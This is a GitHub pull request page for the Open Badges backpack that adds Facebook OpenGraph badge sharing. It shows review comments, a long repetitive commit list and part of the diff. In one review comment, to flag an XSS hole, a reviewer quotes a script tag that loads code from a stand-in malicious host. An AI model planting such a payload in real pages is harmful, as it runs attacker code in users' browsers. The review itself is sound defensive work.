Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP

Loading…

manual sharing of badges on Facebook using opengraph #547

Closed
wants to merge 237 commits into from

5 participants

@davelester

Manual sharing of badges already works on a fork I have of the backpack -- these are the steps to basically put these in sync with the recent backpack changes and share a pull request:

  • add a Facebook share button to the modal, similar to Ocupop's mocks
  • embed opengraph data on individual badge pages (piece of cake once #499 is completed)
  • add javascript for pushing badges to FB, likely added to share.js (already written, but may require some cleanup)
  • add ability for users to attach a comment/message to their badges when they are shared

Reference facebook diagram:
Screen Shot 2013-02-16 at 3 16 59 PM

@davelester davelester referenced this pull request
Closed

Facebook autopush using opengraph #548

3 of 5 tasks complete
@threeqube
Owner

Add a Facebook share button to the modal, similar to Ocupop's mocks related image on #551

@threeqube
Owner

Add ability for users to attach a comment/message to their badges when they are shared, related image:
Screen Shot 2013-02-15 at 7 50 35 AM

@davelester davelester was assigned
@stenington
Owner

This looks like a superset of #554, #562, and #563 so I'm reviewing those first, then I'll ask you to rebase when those get merged.

controllers/backpack.js
@@ -407,6 +408,43 @@ exports.userBadgeUpload = function userBadgeUpload(request, response) {
});
};
+exports.facebookSharing = function (request, response, callback) {
@toolness
toolness added a note

Hey, could you add unit tests for this? Examples of controller tests are backpack-connect.test.js and backpack-connect-controller.test.js.

@toolness: if you have a quick minute, can you look over my recent commit? If it looks good, I'll proceed with writing the Fb lib tests.

@brianloveswords Owner

You are doing a lot of asynchronous stuff, some of it conditional, and you aren't always waiting for the response. Take a look at the async library, particularly async.waterfall and async.parallel, it might help you organize this better.

You should also take advantage of early returning when you can so you don't have large nested conditional blocks.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
lib/facebook.js
@@ -0,0 +1,119 @@
+// Library for making server-side calls to the Facebook API
@toolness
toolness added a note

Can you add unit tests for this module?

Sure, will add this to my branch for #563

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
davelester and others added some commits
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 55fcec0
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
77a0a82
@davelester davelester Adds Facebook share modal. c43d0e0
@davelester davelester Moves lightbox CSS to its own LESS file. b308cbb
@davelester davelester Update facebook-share view to include csrfToken and badge body hash i…
…n order to pass necessary data to Facebook lib.
d4d43e9
@davelester davelester Call Facebook SDK and initialize app upon loading. cbd828f
@davelester davelester Adds social media js to layout.html. Should probably be removed later…
… in favor of loading as-needed.
f9a50f0
@davelester davelester Adds function to backpack controller for Facebook sharing. 888b513
@davelester davelester Adds js to backbone view, once a user clicks to share their badge on …
…FB it calls the FB API.
ecbddee
@davelester davelester Removes if statement for not authorized apps -- leads users to login …
…instead of flashing error to screen.
c3256f6
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 3024c9a
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
ae271d2
@davelester davelester Merge changes. f7aae62
@davelester davelester Adds Facebook share modal. 4da35bd
@davelester davelester Moves lightbox CSS to its own LESS file. d0639cb
@davelester davelester Update facebook-share view to include csrfToken and badge body hash i…
…n order to pass necessary data to Facebook lib.
d599302
@davelester davelester Make use of nope class for cancel button. 85c0cf2
@davelester davelester Fixes alignment of buttons on modal by styling the btn class instead …
…of the button element. Checked other uses of buttons on the backpack, and no visible problems to this approach since the btn class is already used by Bootstrap.
885e24d
@davelester davelester Sets width of facebook share div to 100%, and adjusts some markup to …
…display content as blocks/newlines.
09e4dbc
@davelester davelester Call Facebook SDK and initialize app upon loading. 59c0205
@davelester davelester Adds social media js to layout.html. Should probably be removed later…
… in favor of loading as-needed.
b8cd820
@davelester davelester Adds function to backpack controller for Facebook sharing. 3fa77e8
@davelester davelester Adds js to backbone view, once a user clicks to share their badge on …
…FB it calls the FB API.
6b60301
@davelester davelester Removes if statement for not authorized apps -- leads users to login …
…instead of flashing error to screen.
e79dfe1
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. e0e9708
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
80c37b3
@toolness toolness Hide 'connected accounts' on settings and 'share' button on badge view.
This is only temporary, we'll re-enable things within the next week.

This fixes #731.
2c59415
@brianloveswords brianloveswords Use Badge#getImageUrl in views. 2dcbd15
@davelester davelester Adds Facebook share modal. d3fb450
@brianloveswords brianloveswords Use imageUrl attribute. b0bd082
@davelester davelester Adds Facebook sharing route to app f7c9ef5
@davelester davelester Fix some merge conflicts 0ba5ed2
@davelester davelester Camel case accessToken in backpack. 42283c4
@davelester davelester Adds Facebook information to local-dist env, and adds a check to the …
…backpack controller to check if app has been set to true. If false, it flashes a warning on the backpack.
f792011
@davelester davelester Fix bug to properly save extended user access token to db. 496ba48
@davelester davelester Fixes backpack controller tests. b058ef4
@davelester davelester Adds trailing comma to local-dist environment. fa1e0ed
@davelester davelester Adds Facebook share modal. 9bba17a
@davelester davelester Moves lightbox CSS to its own LESS file. 8859f9b
@davelester davelester Update facebook-share view to include csrfToken and badge body hash i…
…n order to pass necessary data to Facebook lib.
37f368c
@davelester davelester Call Facebook SDK and initialize app upon loading. bbad444
@davelester davelester Adds social media js to layout.html. Should probably be removed later…
… in favor of loading as-needed.
f1f0a87
@davelester davelester Adds function to backpack controller for Facebook sharing. cd4d942
@davelester davelester Adds js to backbone view, once a user clicks to share their badge on …
…FB it calls the FB API.
3ee101e
@davelester davelester Removes if statement for not authorized apps -- leads users to login …
…instead of flashing error to screen.
71bf9a0
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 20d6326
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
b47c9f9
@davelester davelester Adds Facebook share modal. ad29192
@davelester davelester Moves lightbox CSS to its own LESS file. cc84781
@davelester davelester Adds function to backpack controller for Facebook sharing. 0db3394
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
34c411f
@davelester davelester Make use of nope class for cancel button. 5c4914a
@davelester davelester Fixes alignment of buttons on modal by styling the btn class instead …
…of the button element. Checked other uses of buttons on the backpack, and no visible problems to this approach since the btn class is already used by Bootstrap.
5932c91
@davelester davelester Sets width of facebook share div to 100%, and adjusts some markup to …
…display content as blocks/newlines.
37ff02b
@davelester davelester Adds Facebook share modal. 2fc3005
@brianloveswords brianloveswords Use Badge#getImageUrl in views. 8c96981
@toolness toolness Hide 'connected accounts' on settings and 'share' button on badge view.
This is only temporary, we'll re-enable things within the next week.

This fixes #731.
fd57e18
@brianloveswords brianloveswords Use imageUrl attribute. b798b0d
@davelester davelester Adds Facebook sharing route to app 8a87571
@davelester davelester Camel case accessToken in backpack. d771472
@davelester davelester Adds Facebook information to local-dist env, and adds a check to the …
…backpack controller to check if app has been set to true. If false, it flashes a warning on the backpack.
5145693
@davelester davelester Fix bug to properly save extended user access token to db. 732731c
@davelester davelester Fixes backpack controller tests. 24386be
@davelester davelester Adds trailing comma to local-dist environment. 828e933
@davelester davelester Rebasing 567b1a1
@davelester davelester Updates image url on Facebook share modal. 27842eb
@davelester davelester Update share url to use badgeHash instead of badgeUrl 2020019
controllers/backpack.js
((29 lines not shown))
+ });
+ }
+
+ // if FB automatic push was checked:
+ if (fbAutomaticPush) {
+ // Extend user's token
+ fb.extendUserAccessToken(configuration.get('facebook').app_id, configuration.get('facebook').app_secret, accessToken, function(error, response) {
+ // And save the extended token to the database
+ user.set('fb_access_token', response);
+ user.save();
+ });
+ }
+ }
+ });
+
+ response.redirect('/share/badge/'+badgeBodyHash, 303);
@brianloveswords Owner

This is going to activate before fb.publishBadge has chance to finish. This means that all of those request.flashes are racing against response.redirect.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
controllers/backpack.js
((9 lines not shown))
+
+ var accessToken = request.body.accessToken;
+ var badgeBodyHash = request.body.badgeBodyHash;
+ var userId = 'me';
+ var comment = request.body.facebookComment;
+ var fbAutomaticPush = request.body.facebookAutomaticPush;
+ var user = request.user;
+
+ fb.publishBadge(accessToken, badgeBodyHash, userId, function(error, response) {
+ if (error) {
+ request.flash('error', 'There was an error sharing your badge on Facebook.');
+ } else {
+ request.flash('success', 'Your badge was successfully shared on Facebook');
+
+ // if a comment was posted, submit the comment
+ if (comment) {
@brianloveswords Owner

fb.publishComment and fb.extendUserAccessToken are going to run in parallel if both comment and fbAutomaticPush are true. It might be fine that they run in parallel, but you probably want to wait for both to evaluate before you make your response.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
controllers/backpack.js
((20 lines not shown))
+ } else {
+ request.flash('success', 'Your badge was successfully shared on Facebook');
+
+ // if a comment was posted, submit the comment
+ if (comment) {
+ fb.publishComment(response, accessToken, comment, function(error, response) {
+ if (error) {
+ request.flash('error', 'There was an error posting a Facebook comment to your shared badge.');
+ }
+ });
+ }
+
+ // if FB automatic push was checked:
+ if (fbAutomaticPush) {
+ // Extend user's token
+ fb.extendUserAccessToken(configuration.get('facebook').app_id, configuration.get('facebook').app_secret, accessToken, function(error, response) {
@brianloveswords Owner

This line is way too long. You should throw some of those configuration.get results into variables.

Sounds good, I changed this in commit 527a4e5

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
controllers/backpack.js
((23 lines not shown))
+ // if a comment was posted, submit the comment
+ if (comment) {
+ fb.publishComment(response, accessToken, comment, function(error, response) {
+ if (error) {
+ request.flash('error', 'There was an error posting a Facebook comment to your shared badge.');
+ }
+ });
+ }
+
+ // if FB automatic push was checked:
+ if (fbAutomaticPush) {
+ // Extend user's token
+ fb.extendUserAccessToken(configuration.get('facebook').app_id, configuration.get('facebook').app_secret, accessToken, function(error, response) {
+ // And save the extended token to the database
+ user.set('fb_access_token', response);
+ user.save();
@brianloveswords Owner

You should pass a callback here and check to make the sure save went through before responding.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
views/badge-facebook-share.html
((2 lines not shown))
+ <colgroup>
+ <col class="imageCol">
+ <col class="dataCol">
+ </colgroup>
+ <tbody class="confirm-facebook-share">
+ <tr>
+ <td rowspan="80" class='image'>
+ <img src="{{badge.attributes.imageUrl}}">
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <form action="/backpack/facebook" method="POST" class="facebook-share">
+ <input type="hidden" name="_csrf" value="{{ csrfToken }}"></input>
+ <input type="hidden" name="badgeBodyHash" value="{{badge.attributes.body_hash}}"></input>
+ <strong>{{badge.attributes.body.badge.issuer.name}}</strong><br />
@brianloveswords Owner

XSS vulnerability: need to HTML entity escape the badge name or else someone could have a name like:

<script src='http://evil-site.xxx/skullduggery.js'></script>

@brianloveswords: you mean escape the nunjucks variable, like this?

{{ badge.attributes.body.badge.issuer.name|e }}

@brianloveswords Owner

Yeah, use the escape filter which should be | e) if it matches jinja2. It also might be | escape.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
davelester and others added some commits
@davelester davelester Call Facebook SDK and initialize app upon loading. 71c9f8d
@davelester davelester Adds social media js to layout.html. Should probably be removed later…
… in favor of loading as-needed.
010a5ad
@davelester davelester Adds function to backpack controller for Facebook sharing. f6e127b
@davelester davelester Adds js to backbone view, once a user clicks to share their badge on …
…FB it calls the FB API.
8b79f4c
@davelester davelester Removes if statement for not authorized apps -- leads users to login …
…instead of flashing error to screen.
06bd0c6
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 6e15c73
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
68c2491
@davelester davelester Adds Facebook share modal. 9336253
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 52a9fe0
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 1bee300
@brianloveswords brianloveswords Use Badge#getImageUrl in views. dd85c64
@davelester davelester Adds Facebook sharing route to app 7203fb6
@davelester davelester Camel case accessToken in backpack. e230ada
@davelester davelester Adds Facebook information to local-dist env, and adds a check to the …
…backpack controller to check if app has been set to true. If false, it flashes a warning on the backpack.
f29e539
@davelester davelester Fix bug to properly save extended user access token to db. 6c772c8
@davelester davelester Fixes backpack controller tests. ac36555
@davelester davelester Adds trailing comma to local-dist environment. 62d4951
@davelester davelester Adds Facebook share modal. 2c8ea17
@davelester davelester Moves lightbox CSS to its own LESS file. 88148d4
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 8363d63
@davelester davelester Adds Facebook share modal. bfc6a85
@davelester davelester Moves lightbox CSS to its own LESS file. f34ea48
@davelester davelester Adds function to backpack controller for Facebook sharing. 9a45dc6
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
4094022
@davelester davelester Sets width of facebook share div to 100%, and adjusts some markup to …
…display content as blocks/newlines.
0d8ae1a
@davelester davelester Fixes backpack controller tests. d9e9d36
@davelester davelester rebasing. 491808b
@davelester davelester Declare variables for Facebook configuration results. 527a4e5
static/js/social-media.js
@@ -55,3 +55,20 @@ var SocialMedia = function() {};
}
};
}());
+
+window.fbAsyncInit = function() {
+ FB.init({
+ appId : '268806889891263',
@brianloveswords Owner

If this app ID is specific to this instance of openbadges, it should be in the configuration rather than hardcoded.

Possibly a dumb question, but how would you do this if it's a static js file? should I try to move this outside of static/js/social-media.js?

@brianloveswords Owner

(cc @stenington for either confirmation or a better idea)

Add something like facebookAppId: configuration.get('facebook_app_id') in the app.locals structure in app.js and add something like <script> window.facebookAppId = {{ facebookAppId }}</script> to views/layout.html, somewhere in the <head>

@stenington Owner

Yeah, we've certainly done it before. require.js has better ways of passing in config if/when we move to that, or if we go with browserify or something I'm sure there are better things to do as well.

BUT!

This is probably the wrong file for this to be in. social-media.js does wacky hot-loading of the social media buttons on the portfolio pages so they can't track a user until the user has clicked on things and asked to be tracked, essentially. Loading the Facebook SDK on script load sort of seems to defeat the purpose of that. We should probably keep the two separate and only load the Facebook SDK where absolutely needed.

@brianloveswords Owner

As a side note, I would love to move to using browserify, man.

So this declares window.fbAsyncInit but I don't see it used anywhere. Is that a magic variable name that fb expects?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
views/backpack.html
((6 lines not shown))
<div class="openbadge" data-id="{{badge.attributes.id}}">
<img src="{{ badge.attributes.imageUrl }}" width="64">
- <p class="title">{{ badge.attributes.body.badge.name }}</p>
+ <p class="title" title="{{ badge.attributes.body.badge.name }}">{{ badge.attributes.body.badge.name }}</p>
@brianloveswords Owner

XSS vulnerability: the first badge.attribute.body.badge.name needs to be escaped.

I addressed this in commit aef2d98

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
davelester and others added some commits
@davelester davelester Use jinja2 escape filter on user-generated badge metadata on Facebook…
… share form to prevent XSS attacks.
aef2d98
@davelester davelester Fixes bug where modal wasn't fading in after logging in to FB. 956c4df
@davelester davelester Merge branch 'feature/facebook-manual-sharing' of git://github.com/da…
…velester/openbadges into feature/facebook-manual-sharing
0578ba9
@davelester davelester Call Facebook SDK and initialize app upon loading. 89165ef
@davelester davelester Adds social media js to layout.html. Should probably be removed later…
… in favor of loading as-needed.
d312b5a
@davelester davelester Adds function to backpack controller for Facebook sharing. f82e1e3
@davelester davelester Adds js to backbone view, once a user clicks to share their badge on …
…FB it calls the FB API.
a69fe2a
@davelester davelester Removes if statement for not authorized apps -- leads users to login …
…instead of flashing error to screen.
16d09e1
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. fc1fc29
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
d580db2
@davelester davelester Adds Facebook share modal. f7b7262
@davelester davelester Adds function to backpack controller for Facebook sharing. 899af9f
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. e49f15d
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
8eeafe8
@davelester davelester Adds function to backpack controller for Facebook sharing. 55dc89f
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. dab54bc
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
4b6eaad
@brianloveswords brianloveswords Use Badge#getImageUrl in views. b65b455
@davelester davelester Adds Facebook sharing route to app 1c42b9e
@davelester davelester Camel case accessToken in backpack. ded99c5
@davelester davelester Adds Facebook information to local-dist env, and adds a check to the …
…backpack controller to check if app has been set to true. If false, it flashes a warning on the backpack.
f6ac2b6
@davelester davelester Fix bug to properly save extended user access token to db. 5ee37d8
@davelester davelester Fixes backpack controller tests. be65a1d
@davelester davelester Adds function to backpack controller for Facebook sharing. bf5afe6
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. d2ee172
@davelester davelester Adds Facebook share modal. 2227d69
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
24b829a
@davelester davelester Moves lightbox CSS to its own LESS file. 8c4fcaa
@davelester davelester Adds function to backpack controller for Facebook sharing. 4bdb4d5
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
e84b226
@davelester davelester Camel case accessToken in backpack. d78e2e5
@davelester davelester Adds Facebook information to local-dist env, and adds a check to the …
…backpack controller to check if app has been set to true. If false, it flashes a warning on the backpack.
30e2065
@davelester davelester Fix bug to properly save extended user access token to db. 3616e4b
@davelester davelester Fixes backpack controller tests. 8cd5a7f
@davelester davelester Updates image url on Facebook share modal. 9465bed
@davelester davelester Update share url to use badgeHash instead of badgeUrl e4ab425
@davelester davelester Fixes bug where modal wasn't fading in after logging in to FB. 3fdc554
@davelester davelester Rebase aba5a64
@davelester davelester Here by popular demand! Adds Facebook share button to modal. 55f57c5
@stenington stenington Merge pull request #827 from arasbm/development
rename "Open Badge(s) Backpack" -> "Mozilla Backpack"
7c761e9
@davelester davelester Call Facebook SDK and initialize app upon loading. 2410b87
@davelester davelester Adds social media js to layout.html. Should probably be removed later…
… in favor of loading as-needed.
b4975fd
@davelester davelester Adds function to backpack controller for Facebook sharing. 8dc1ec4
@davelester davelester Adds js to backbone view, once a user clicks to share their badge on …
…FB it calls the FB API.
90bd89c
@davelester davelester Removes if statement for not authorized apps -- leads users to login …
…instead of flashing error to screen.
5dc2e4a
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
1a98325
@davelester davelester Adds Facebook share modal. 9e7d035
@davelester davelester Moves lightbox CSS to its own LESS file. 03c1c86
@davelester davelester Adds function to backpack controller for Facebook sharing. eeab912
@davelester davelester Adds js to backbone view, once a user clicks to share their badge on …
…FB it calls the FB API.
472cfac
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 488f4f7
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
47934e5
@davelester davelester Moves lightbox CSS to its own LESS file. d700a58
@davelester davelester Adds function to backpack controller for Facebook sharing. be44951
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 70f1fc8
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
0f77c8d
@brianloveswords brianloveswords Use Badge#getImageUrl in views. 098a48a
@davelester davelester Adds Facebook sharing route to app 98441ca
@davelester davelester Camel case accessToken in backpack. 37a11c2
@davelester davelester Adds Facebook information to local-dist env, and adds a check to the …
…backpack controller to check if app has been set to true. If false, it flashes a warning on the backpack.
f5aad9a
@davelester davelester Fix bug to properly save extended user access token to db. b6345aa
@davelester davelester Fixes backpack controller tests. 8bd68ba
@davelester davelester Moves lightbox CSS to its own LESS file. f8d2317
@davelester davelester Adds function to backpack controller for Facebook sharing. 0492c95
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. ee84e90
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
056bdeb
@davelester davelester Adds Facebook share modal. 42f7fa1
@davelester davelester Moves lightbox CSS to its own LESS file. aa70b07
@davelester davelester Adds function to backpack controller for Facebook sharing. 3ba7c3c
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
1e3f7cb
@davelester davelester Sets width of facebook share div to 100%, and adjusts some markup to …
…display content as blocks/newlines.
862d4e2
@brianloveswords brianloveswords Use Badge#getImageUrl in views. ae23101
@davelester davelester Camel case accessToken in backpack. ff0d009
@davelester davelester Adds Facebook information to local-dist env, and adds a check to the …
…backpack controller to check if app has been set to true. If false, it flashes a warning on the backpack.
6e63327
@davelester davelester Fix bug to properly save extended user access token to db. a47a84c
@davelester davelester Fixes backpack controller tests. d7e0309
@davelester davelester Updates image url on Facebook share modal. 0baeae8
@davelester davelester Update share url to use badgeHash instead of badgeUrl a50bedc
@davelester davelester Adds function to backpack controller for Facebook sharing. 17b7d77
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. cf55fbf
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 615cbf7
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 5c44b4b
@davelester davelester Camel case accessToken in backpack. 3dfabbd
@davelester davelester Adds Facebook information to local-dist env, and adds a check to the …
…backpack controller to check if app has been set to true. If false, it flashes a warning on the backpack.
ac4e325
@davelester davelester Fix bug to properly save extended user access token to db. 5cfb17e
@davelester davelester Fixes backpack controller tests. 074d759
@davelester davelester Adds Facebook share modal. d5fcb8f
@davelester davelester Adds Facebook share modal. dbc61e4
@davelester davelester Moves lightbox CSS to its own LESS file. eec55be
@davelester davelester Moves lightbox CSS to its own LESS file. 748f91f
@davelester davelester Adds function to backpack controller for Facebook sharing. 22b2fa8
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. 1941448
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
7daef6c
@davelester davelester Fixes backpack controller tests. 41c7829
@davelester davelester Declare variables for Facebook configuration results. 7fe448c
@davelester davelester Use jinja2 escape filter on user-generated badge metadata on Facebook…
… share form to prevent XSS attacks.
f32ca91
@davelester davelester Fixes bug where modal wasn't fading in after logging in to FB. 2a453ed
@davelester davelester Adds function to backpack controller for Facebook sharing. b6bd731
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. afc241b
@davelester davelester Adds function to backpack controller for Facebook sharing. 33b7e85
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
7aff77f
@davelester davelester Adds function to backpack controller for Facebook sharing. 5d3abca
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. fb63d36
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. cbd296c
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
a70330a
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
6fa9690
@davelester davelester Camel case accessToken in backpack. f39a21c
@davelester davelester Adds Facebook share modal. 54a3d89
@davelester davelester Moves lightbox CSS to its own LESS file. e0da0e4
@davelester davelester Adds function to backpack controller for Facebook sharing. 1bc7a12
@davelester davelester Adds function to backpack controller for Facebook sharing. 8f7c026
@davelester davelester Initial addition of facebookSharing to the backpack controller tests. a92149c
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
be982a3
@davelester davelester Fix bug to properly save extended user access token to db. d54107d
@davelester davelester Fixes backpack controller tests. 4eb77ad
@davelester davelester Updates badge sharing variables to be camel cased in view and backpac…
…k controller.
2224805
@davelester davelester Camel case accessToken in backpack. 5532326
@davelester davelester Adds Facebook information to local-dist env, and adds a check to the …
…backpack controller to check if app has been set to true. If false, it flashes a warning on the backpack.
b24e0b4
@davelester davelester Fix bug to properly save extended user access token to db. 48e86b4
@davelester davelester Fixes backpack controller tests. f726cfe
@davelester davelester Here by popular demand! Adds Facebook share button to modal. fed88c5
@davelester davelester Removes repeating reference to fb lib. 42cb895
@davelester davelester Resolves conflicts from rebasing. add4c9c
@davelester davelester Fixes merge conflicts 1284fbf
@davelester davelester Fixes tests for backpack controller. 409f3f3
@davelester davelester Adds comma to local-dist environment, forgotten during rebasing. 22f5204
@davelester davelester Removes duplicate references to facebookSharing. 391c733
@davelester davelester Adds findImageByHash function to the badge controller, and updates ap…
…p.js to properly call findByHash for shareable urls and findImageByHash for locating image files.
91740da
@davelester davelester Uses async series to publish badge, comment, and auto push in order. 2d58a7c
@davelester davelester Adds missing paranthesis and semicolon. f839fd1
@davelester davelester Adds callback to fb comments async series. 893ce7f
@davelester davelester Update response name to be badgeResponse and properly use it in comme…
…nt function.
82cd9e0
@davelester davelester Update badgeResponse 517358c
@davelester davelester Changes async series to async waterfall. bac93c5
@davelester davelester Calls facebookAppId within social-media.js using a variable rather th…
…an hardcoding FB App ID.
7cffc9c
@brianloveswords

Closing this for now, but @leomca check this out for reference!

@LeoMcA LeoMcA referenced this pull request
Closed

Facebook + OpenBadges = <3 #944

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
This page is out of date. Refresh to see the latest.
View
7 app.js
@@ -24,6 +24,7 @@ app.config = configuration;
app.locals({
error: [],
success: [],
+ facebookAppId: configuration.get('facebook').app_id,
});
app.set('useCompiledTemplates', configuration.get('nunjucks_precompiled'));
@@ -107,6 +108,7 @@ app.param('groupId', group.findById);
app.param('groupUrl', share.findGroupByUrl);
app.param('badgeUrl', badge.findByUrl);
app.param('badgeHash', badge.findByHash);
+app.param('badgeImageHash', badge.findImageByHash);
app.get('/baker', baker.baker);
app.get('/issuer.js', issuer.generateScript);
@@ -135,6 +137,7 @@ app.get('/backpack/login', backpack.login);
app.get('/backpack/signout', backpack.signout);
app.post('/backpack/badge', backpack.userBadgeUpload);
app.post('/backpack/authenticate', backpack.authenticate);
+app.post('/backpack/facebook', backpack.facebookSharing);
app.get('/backpack/settings', backpack.settings());
app.post('/backpack/settings/revoke-origin', backpackConnect.revokeOrigin());
app.get('/stats', backpack.stats);
@@ -147,10 +150,10 @@ app.post('/group', group.create);
app.put('/group/:groupId', group.update);
app.delete('/group/:groupId', group.destroy);
-app.get('/images/badge/:badgeHash.png', badge.image);
+app.get('/images/badge/:badgeImageHash.png', badge.image);
app.post('/share/badge/:badgeId', badge.share);
-app.get('/share/badge/:badgeUrl', badge.show);
+app.get('/share/badge/:badgeHash', badge.show);
app.get('/share/:groupUrl/edit', share.editor);
app.post('/share/:groupUrl', share.createOrUpdate);
View
58 controllers/backpack.js
@@ -10,6 +10,7 @@ const logger = require('../lib/logging').logger;
const configuration = require('../lib/configuration');
const browserid = require('../lib/browserid');
const awardBadge = require('../lib/award');
+const fb = require('../lib/facebook');
const analyzeAssertion = require('../lib/analyze-assertion');
const Badge = require('../models/badge');
const Group = require('../models/group');
@@ -415,6 +416,63 @@ exports.userBadgeUpload = function userBadgeUpload(req, res) {
], redirect);
};
+exports.facebookSharing = function (request, response, callback) {
+ // check that Facebook app has been configured
+ if (configuration.get('facebook').activated == false) {
+ request.flash('error', 'Your backpack has not been configured to activate Facebook sharing.');
+ }
+
+ var accessToken = request.body.accessToken;
+ var badgeBodyHash = request.body.badgeBodyHash;
+ var userId = 'me';
+ var comment = request.body.facebookComment;
+ var fbAutomaticPush = request.body.facebookAutomaticPush;
+ var user = request.user;
+ var appId = configuration.get('facebook').app_id;
+ var appSecret = configuration.get('facebook').app_secret;
+
+ async.waterfall([
+ function(callback){
+ // Try publishing a badge
+ fb.publishBadge(accessToken, badgeBodyHash, userId, function(error, badgeResponse) {
+ if (error) {
+ request.flash('error', 'There was an error sharing your badge on Facebook.');
+ callback('There was an error sharing your badge on Facebook.', null);
+ } else {
+ request.flash('success', 'Your badge was successfully shared on Facebook');
+ callback(null, badgeResponse);
+ }
+ });
+ },
+ function(badgeResponse, callback){
+ // if a comment was posted, submit the comment
+ if (comment) {
+ fb.publishComment(badgeResponse, accessToken, comment, function(error, response) {
+ if (error) {
+ request.flash('error', 'There was an error posting a Facebook comment to your shared badge.');
+ callback('There was an error posting a Facebook comment to your shared badge.', null);
+ }
+ });
+ }
+ },
+ function(callback){
+ // if FB automatic push was checked:
+ if (fbAutomaticPush) {
+ // Extend user's token
+ fb.extendUserAccessToken(appId, appSecret, accessToken, function(error, response) {
+ // And save the extended token to the database
+ user.set('fb_access_token', response);
+ user.save();
+ });
+ }
+ }
+ ],
+ // optional callback
+ function(err, results){});
+
+ response.redirect('/share/badge/'+badgeBodyHash, 303);
+}
+
/**
* Stub methods to prevent crash in Express 3.0.5
*/
View
11 controllers/badge.js
@@ -43,6 +43,17 @@ exports.findByUrl = function findByUrl(req, res, next, url) {
};
exports.findByHash = function findByHash (req, res, next, hash) {
+ Badge.findOne({body_hash: hash}, function (err, badge) {
+ if (err)
+ return next(err);
+ if (!badge)
+ return res.render('errors/404.html', {url: req.url});
+ req.badge = badge;
+ return next();
+ })
+};
+
+exports.findImageByHash = function findImageByHash (req, res, next, hash) {
BadgeImage.findOne({badge_hash: hash}, function (err, image) {
if (err)
return next(err);
View
10 lib/environments/local-dist.js
@@ -65,6 +65,14 @@ exports.config = {
// Nunjucks settings
// More info: http://nunjucks.jlongster.com/api#Using-Nunjucks-in-the-Browser
// Compilation of templates must be handled externally; see `bin/template-precompile`
- nunjucks_precompiled: false
+ nunjucks_precompiled: false,
+ // Facebook application info. Create a new application at https://developers.facebook.com/
+ // In addition to setting activated to true in this config file and declaring app ID and secret
+ // configure FB's opengraph settings to declare an object called badge, and action called Award
+ facebook: {
+ activated: false,
+ app_id: 12345,
+ app_secret: 'abcdefg'
+ }
}
View
BIN  static/images/facebook-share.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View
28 static/js/backpack.js
@@ -329,7 +329,7 @@ Details.View = Backbone.View.extend({
'click .disown': 'showConfirmation',
'click .confirm-disown .nope': 'hideConfirmation',
'click .confirm-disown .yep': 'destroyBadge',
- 'click .facebook-share': 'showFacebookModal',
+ 'click a.facebook-share': 'showFacebookModal',
'click .confirm-facebook-share .nope': 'hideFacebookModal'
},
@@ -346,7 +346,31 @@ Details.View = Backbone.View.extend({
},
showFacebookModal: function () {
- this.$el.find('.confirm-facebook-share').fadeIn('fast');
+ var modal = this;
+
+ // check if a user is logged in to Facebook
+ FB.getLoginStatus(function(response) {
+ if (response.status === 'connected') {
+ var uid = response.authResponse.userID;
+ var accessToken = response.authResponse.accessToken;
+
